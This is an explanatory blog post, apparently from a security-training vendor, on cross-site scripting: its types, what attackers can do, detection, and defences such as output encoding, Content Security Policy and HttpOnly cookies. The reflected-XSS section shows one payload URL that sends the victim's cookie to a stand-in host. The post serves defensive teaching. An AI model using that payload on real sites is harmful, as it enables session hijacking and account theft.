The Attack That Hides in Plain Sight on Your Website
In 2018, British Airways disclosed a breach that compromised the personal and financial data of roughly 380,000 customers. The attack vector? A modified JavaScript injected into the airline's payment page — a textbook cross-site scripting attack that skimmed credit card details in real time. The UK's Information Commissioner's Office initially proposed a £183 million fine under GDPR.
That's the kind of damage a few lines of malicious script can do. And if you think your organization is too small to be a target, I've got bad news: the Verizon 2023 Data Breach Investigations Report found that web application attacks are one of the top three patterns in confirmed breaches across organizations of every size.
This post is cross-site scripting explained from the ground up — what it is, how threat actors exploit it, the three main types, and the specific steps your development and security teams need to take to shut it down. If you build, manage, or secure web applications, this is for you.
What Is Cross-Site Scripting (XSS)?
Cross-site scripting — universally abbreviated as XSS — is a web application vulnerability that allows an attacker to inject malicious client-side code into a page viewed by other users. The browser trusts the page, so it executes the injected script as if it were legitimate. The user never sees it happen.
That injected script can steal session cookies, capture keystrokes, redirect users to phishing pages, or modify the content of the page itself. It's a form of social engineering at the code level — the user's own browser becomes the weapon.
Why Browsers Fall for It
Browsers follow a simple rule: if the server sends it, execute it. They don't distinguish between JavaScript your developers wrote and JavaScript a threat actor injected through an unvalidated input field. That trust model is what makes XSS so dangerous and so persistent.
OWASP has consistently ranked injection flaws — including XSS — among the top web application security risks for over a decade. Their OWASP Top 10 project is the go-to reference, and XSS has never left the list.
Three Types of XSS Attacks You Need to Know
Not all cross-site scripting works the same way. The three primary types differ in how the malicious payload gets delivered and where it lives. Understanding each one matters because the defenses differ.
1. Reflected XSS
Reflected XSS is the most common type. The malicious script is embedded in a URL or request parameter. When a user clicks that link — usually delivered via a phishing email or malicious ad — the server reflects the script back in the response page, and the browser executes it.
Here's a simplified example. Imagine a search page that displays your query back to you:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
If the application doesn't sanitize that input, the script runs in the victim's browser and sends their session cookie to the attacker. The attacker now has credential theft without ever touching the server directly.
2. Stored XSS
Stored XSS — also called persistent XSS — is more dangerous. The malicious script gets saved in the application's database, typically through a form field like a comment box, user profile, or forum post. Every user who views that content gets hit automatically.
I've seen this in web applications that allow user-generated content without proper output encoding. A single stored XSS payload in a popular forum thread can compromise thousands of accounts before anyone notices. The British Airways breach involved a variation of this concept — attackers modified a script that was served to every customer on the payment page.
3. DOM-Based XSS
DOM-based XSS never touches the server. The vulnerability exists entirely in client-side JavaScript that reads data from an attacker-controllable source (like the URL fragment) and writes it into the page's Document Object Model without sanitization.
This type is harder to detect with traditional web application firewalls because the malicious payload doesn't appear in HTTP request/response traffic. Your server logs look clean while your users are getting exploited.
What Can an Attacker Actually Do with XSS?
This is the question I get most often, and the answer is: more than you'd expect.
- Session hijacking: Steal session cookies and impersonate authenticated users. If your application doesn't use HttpOnly cookies, one XSS payload gives full account access.
- Credential theft: Inject a fake login form into a legitimate page. Users enter their passwords without suspicion because the URL and SSL certificate look correct.
- Phishing from trusted domains: Modify page content to display convincing phishing messages. This is social engineering powered by your own domain's reputation.
- Malware delivery: Redirect users to exploit kits or ransomware download pages.
- Keylogging: Capture every keystroke on the page, including passwords and credit card numbers.
- Worm propagation: In 2005, the Samy worm exploited a stored XSS vulnerability on MySpace and infected over one million profiles in under 20 hours. Each infected profile spread the payload to anyone who viewed it.
XSS is often dismissed as a "low severity" finding in penetration test reports. That's a mistake. In the right context, it's a direct path to a data breach.
How to Detect Cross-Site Scripting Vulnerabilities
You can't fix what you can't find. Here's how to systematically identify XSS in your applications.
Automated Scanning
Dynamic Application Security Testing (DAST) tools probe running applications with XSS payloads and analyze responses. They're good at catching reflected and stored XSS in standard input fields. Static Application Security Testing (SAST) tools analyze source code for patterns that indicate unsafe output handling.
Neither catches everything. DOM-based XSS in particular often evades automated scanners.
Manual Penetration Testing
Experienced testers find what scanners miss. They test unusual input vectors — HTTP headers, JSON API responses rendered in HTML, file upload names, error messages. If your organization handles sensitive data, annual manual testing isn't optional.
Code Review
Every function that renders user-controlled data into HTML, JavaScript, CSS, or URL contexts needs scrutiny. Look for raw output — any place where user input reaches the page without encoding or sanitization.
Practical Defenses That Actually Work
I've audited dozens of web applications, and the organizations that get XSS prevention right share a few common practices.
Output Encoding — Your First Line of Defense
Encode all user-supplied data before rendering it in the browser. The encoding must be context-aware:
- HTML context: Encode < > & " ' into their HTML entity equivalents.
- JavaScript context: Use JavaScript-specific encoding — HTML encoding won't protect you here.
- URL context: Percent-encode user data in URL parameters.
- CSS context: Use CSS-specific encoding for values inserted into style attributes.
Most modern frameworks — React, Angular, Vue — encode output by default. But every framework has escape hatches (like React's dangerouslySetInnerHTML) that developers use when they shouldn't.
Content Security Policy (CSP)
A strong Content Security Policy header tells the browser which script sources are trusted. A well-configured CSP blocks inline scripts entirely, which neutralizes most XSS payloads even if they make it into the page.
Start with a report-only policy to identify what would break, then enforce. CISA's guidance on web application security reinforces CSP as a critical defense layer.
Input Validation
Validate input on the server side. Whitelist acceptable characters and formats. An email field should accept email-format strings — not angle brackets and script tags. Input validation alone won't stop XSS (attackers have too many encoding tricks), but it reduces attack surface.
HttpOnly and Secure Cookie Flags
Set the HttpOnly flag on session cookies to prevent JavaScript from reading them. Set the Secure flag to ensure cookies only transmit over HTTPS. These two flags alone eliminate the most common XSS exploitation technique — session cookie theft.
Multi-Factor Authentication as a Safety Net
Even if an attacker steals a session cookie, multi-factor authentication for sensitive actions (changing passwords, transferring funds, accessing admin panels) limits what they can do with it. MFA doesn't fix XSS, but it contains the blast radius.
How Does Cross-Site Scripting Relate to Phishing?
XSS and phishing are deeply connected. A reflected XSS vulnerability on your legitimate domain lets a threat actor craft a phishing URL that points to your actual website — with your real SSL certificate and your real domain name in the address bar. The injected script modifies the page to display a fake login prompt or redirect to a credential harvesting site.
Your employees need to understand this connection. Traditional phishing awareness training teaches people to check the URL. But when the URL is legitimate and the page is compromised via XSS, that advice fails. Security awareness training needs to cover this scenario explicitly.
Our phishing awareness training for organizations covers exactly these kinds of advanced social engineering techniques — the ones that bypass the usual "check the URL" advice.
The Developer's XSS Prevention Checklist
Pin this to your team's wall:
- Never insert untrusted data into HTML without context-appropriate output encoding.
- Use your framework's built-in encoding — don't bypass it without a security review.
- Implement a strict Content Security Policy. Block inline scripts.
- Validate all input server-side. Whitelist, don't blacklist.
- Set HttpOnly and Secure flags on all session cookies.
- Use the X-Content-Type-Options: nosniff header to prevent MIME-type sniffing.
- Run DAST scans on every release. Integrate SAST into your CI/CD pipeline.
- Conduct manual penetration testing at least annually.
- Train developers on secure coding. OWASP's cheat sheets are the starting point.
Every item on this list addresses a specific failure mode I've seen in real-world applications. Skip any one, and you leave a gap.
XSS Isn't Just a Developer Problem
Cross-site scripting is a security problem that requires security awareness across your entire organization. Developers need secure coding training. QA needs to test for XSS. Security teams need to scan and validate. And your general workforce needs to understand how XSS-powered phishing works so they don't fall for attacks that leverage your own infrastructure.
The NIST Cybersecurity Framework emphasizes this layered approach — technical controls plus human awareness, working together.
If you're building a security awareness program that goes beyond checkbox compliance, our cybersecurity awareness training covers web application threats, social engineering, credential theft, and the zero trust principles that tie it all together.
The Bottom Line on Cross-Site Scripting
XSS has been around for over two decades, and it's still one of the most exploited web vulnerabilities on the planet. Not because it's hard to fix — the defenses are well understood. It persists because organizations treat it as a low-priority finding, developers bypass framework protections for convenience, and nobody tests thoroughly enough.
Every web application your organization runs is a potential entry point. Every unencoded output is an invitation. And every user who trusts your site is a potential victim.
Get cross-site scripting explained to your development team, your security team, and your end users. Then fix it — systematically, permanently, and before a threat actor does the explaining for you.